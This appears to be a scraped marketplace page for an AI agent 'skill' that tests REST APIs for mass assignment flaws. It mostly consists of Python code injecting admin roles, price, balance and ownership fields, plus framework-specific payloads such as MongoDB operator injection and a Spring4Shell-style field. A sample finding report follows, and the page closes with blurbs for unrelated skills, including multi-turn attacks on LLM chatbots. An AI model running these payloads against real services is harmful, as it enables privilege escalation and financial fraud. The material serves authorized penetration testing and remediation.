external/anthropic-cybersecurity-skills/skills/testing-api-for-mass-assignment-vulnerability/SKILL.md
Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they should not have access to by including additional parameters in API requests. The tester identifies writable endpoints, adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if the server binds these to the data model without filtering. Part of OWASP API3:2023 Broken Object Property Level Authorization. Activates for requests involving mass assignment testing, parameter binding abuse, auto-binding vulnerability, or API over-posting.
npx skillsauth add seikaikyo/dash-skills testing-api-for-mass-assignment-vulnerabilityInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Do not use without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.
requests libraryimport requests
import json
import copy
BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}
# Identify endpoints that accept write operations
writable_endpoints = [
{"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
{"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
{"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
{"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
{"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
{"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
{"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
{"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]
# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
"role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
"account_type": "admin", "accountType": "admin"},
"admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
"is_superuser": True, "isSuperuser": True, "superuser": True},
"permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
"groups": ["administrators"], "roles": ["admin"]},
"account_status": {"is_active": True, "isActive": True, "verified": True,
"email_verified": True, "is_verified": True, "status": "active"},
"financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
"price": 0.01, "amount": 0.01},
"ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
"created_by": 1, "createdBy": 1},
"internal": {"internal_notes": "test", "debug": True, "hidden": False,
"is_deleted": False, "is_featured": True, "priority": 0},
"temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
"createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}
def test_mass_assignment(endpoint_info):
"""Test a writable endpoint for mass assignment vulnerabilities."""
method = endpoint_info["method"]
path = endpoint_info["path"]
expected = endpoint_info["expected_fields"]
findings = []
# Build a valid base request
base_body = {}
for field in expected:
if field == "email":
base_body[field] = "[email protected]"
elif field == "password":
base_body[field] = "SecurePass123!"
elif field == "name":
base_body[field] = "Test User"
elif field == "items":
base_body[field] = [{"product_id": 1, "quantity": 1}]
else:
base_body[field] = "test_value"
# Test each category of privileged fields
for category, fields in PRIVILEGE_FIELDS.items():
test_body = {**base_body, **fields}
resp = requests.request(method, f"{BASE_URL}{path}",
headers=user_headers, json=test_body)
if resp.status_code in (200, 201):
# Verify if the fields were actually set
resp_data = resp.json()
for field_name, injected_value in fields.items():
actual = resp_data.get(field_name)
if actual is not None and str(actual) == str(injected_value):
findings.append({
"endpoint": f"{method} {path}",
"category": category,
"field": field_name,
"injected_value": injected_value,
"confirmed": True
})
print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")
return findings
all_findings = []
for endpoint in writable_endpoints:
findings = test_mass_assignment(endpoint)
all_findings.extend(findings)
print(f"\nTotal mass assignment findings: {len(all_findings)}")
def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
"""Verify that the mass-assigned field actually persists in the database."""
# Re-fetch the object to confirm the field was saved
resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
if resp.status_code == 200:
current_state = resp.json()
actual_value = current_state.get(field_name)
if actual_value is not None:
match = str(actual_value) == str(injected_value)
print(f" Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
return match
return False
# Test role elevation via profile update
print("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")
# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
headers=user_headers,
json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")
# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
print("[CRITICAL] Mass assignment: Role elevated to admin")
# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
print("[CRITICAL] Admin access confirmed after role elevation")
# Ruby on Rails / Active Record style
rails_payloads = [
{"user": {"name": "Test", "role": "admin", "admin": True}}, # Nested under model name
{"user[name]": "Test", "user[role]": "admin"}, # Form-style nested
]
# Django REST Framework style
django_payloads = [
{"username": "test", "is_staff": True, "is_superuser": True},
{"username": "test", "groups": [1]}, # Add to admin group by ID
]
# Express.js / Mongoose style
express_payloads = [
{"name": "test", "__v": 0, "_id": "000000000000000000000001"}, # Override MongoDB _id
{"name": "test", "$set": {"role": "admin"}}, # MongoDB operator injection
]
# Spring Boot / JPA style
spring_payloads = [
{"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
{"name": "test", "class.module.classLoader": ""}, # Spring4Shell style
]
# Test each framework-specific payload
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
if resp.status_code in (200, 201):
print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")
# Test price/amount manipulation in e-commerce APIs
print("\n=== Financial Mass Assignment Tests ===")
# Test 1: Create order with manipulated price
order_body = {
"items": [{"product_id": 42, "quantity": 1}],
"shipping_address": {"street": "123 Test St", "city": "Test City"},
# Injected fields
"total": 0.01,
"subtotal": 0.01,
"discount_percent": 100,
"coupon_code": "FREEORDER",
"shipping_cost": 0,
"tax": 0,
}
resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
order = resp.json()
print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
if float(order.get("total", 999)) < 1.0:
print("[CRITICAL] Price manipulation via mass assignment")
# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
headers=user_headers,
json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
print(f"[MASS ASSIGNMENT] Order status/payment fields modified")
# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
headers=user_headers,
json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
wallet = resp.json()
if float(wallet.get("balance", 0)) > 10000:
print("[CRITICAL] Wallet balance manipulation via mass assignment")
| Term | Definition | |------|------------| | Mass Assignment | Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields | | Auto-Binding | Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured | | Allowlist (Whitelist) | Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters | | Blocklist (Blacklist) | Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) | | Object Property Level Authorization | OWASP API3:2023 - ensuring that users can only read/write object properties they are authorized to access | | DTO (Data Transfer Object) | Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |
Context: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.
Approach:
POST /api/v1/register {"name":"Test","email":"[email protected]","password":"Pass123!"} - returns user with role: "user"POST /api/v1/register {"name":"Admin","email":"[email protected]","password":"Pass123!","role":"admin"} - returns user with role: "admin"is_verified: true bypasses email verification, subscription_plan: "enterprise" grants premium featuresPUT /api/v1/users/me {"name":"Test","balance":99999} - wallet balance modifiedPitfalls:
user.role or address.verified can be injected## Finding: Mass Assignment Enables Role Elevation via Registration API
**ID**: API-MASS-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**Affected Endpoints**:
- POST /api/v1/register
- PUT /api/v1/users/me
- POST /api/v1/orders
**Description**:
The API binds all client-supplied JSON fields directly to the database model
without filtering. An attacker can include undocumented fields in registration
and update requests to elevate their role to admin, bypass email verification,
modify wallet balances, and manipulate order pricing.
**Proof of Concept**:
1. Register with injected role:
POST /api/v1/register
{"name":"Attacker","email":"[email protected]","password":"P@ss123!","role":"admin"}
Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}
2. Update profile with injected balance:
PUT /api/v1/users/me
{"name":"Attacker","balance":99999.99}
Response: {"id":5001,"balance":99999.99}
3. Create order with manipulated price:
POST /api/v1/orders
{"items":[{"product_id":42,"qty":1}],"total":0.01}
Response: {"order_id":8001,"total":0.01}
**Impact**:
Any user can gain administrative access, manipulate financial data,
bypass security controls, and purchase products at arbitrary prices.
**Remediation**:
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3. Never bind request parameters directly to the data model
4. Add integration tests that verify undocumented fields are rejected
5. Use an allowlist approach rather than blocklist for writable fields
tools
Conduct comprehensive GDPR compliance assessments by evaluating data processing activities against EU Regulation 2016/679, including Article 30 records of processing, lawful basis validation, data subject rights implementation, Data Protection Impact Assessments (DPIAs) under Article 35, breach notification procedures, international transfer safeguards (SCCs, adequacy decisions), and technical/organizational measures under Article 32. Use when processing personal data of EU residents, preparing for supervisory authority audits, implementing privacy-by-design for new systems, scoping compliance gaps for M&A due diligence, assessing third-party processors, or responding to data subject access requests at scale. Incorporates 2026 guidance from ICO, EDPB, and post-Data (Use and Access) Act 2025 UK-GDPR considerations. Do not use for implementing specific Article 32 controls — use implementing-gdpr-data-protection-controls; or for DSAR automation — use implementing-gdpr-data-subject-access-request.
tools
Parse Windows forensic artifacts—$MFT/$J (MFTECmd), Prefetch (PECmd), registry hives (RECmd), shellbags, and Amcache—into normalized CSV/JSON with Eric Zimmerman's EZ Tools, then load results into Timeline Explorer for analysis. Use during DFIR/incident-response investigations, after triage collection (e.g. with KAPE), to establish program execution, file/folder access, and persistence evidence from acquired forensic images.
development
Build automated multi-turn adversarial attacks against conversational LLM targets using Microsoft PyRIT's RedTeamingOrchestrator, CrescendoOrchestrator (gradual escalation), and TreeOfAttacksWithPruningOrchestrator (adaptive branching), with scorer feedback loops and persisted conversation memory. Use when single-shot LLM scanning is insufficient and you need multi-turn, scorer-driven AI red-team campaigns against a chatbot or agent.
testing
Stand up MISP, enable and cache curated threat feeds (CIRCL, abuse.ch, Feodo Tracker), apply warninglists to suppress false positives, query indicators with PyMISP, and export attributes as auto-generated Suricata/Sigma/Wazuh detection rules. Use when maturing a MISP instance to actively drive detection, curating threat feeds with quality controls, or automating IOC-to-detection pipelines for the SIEM/IDS.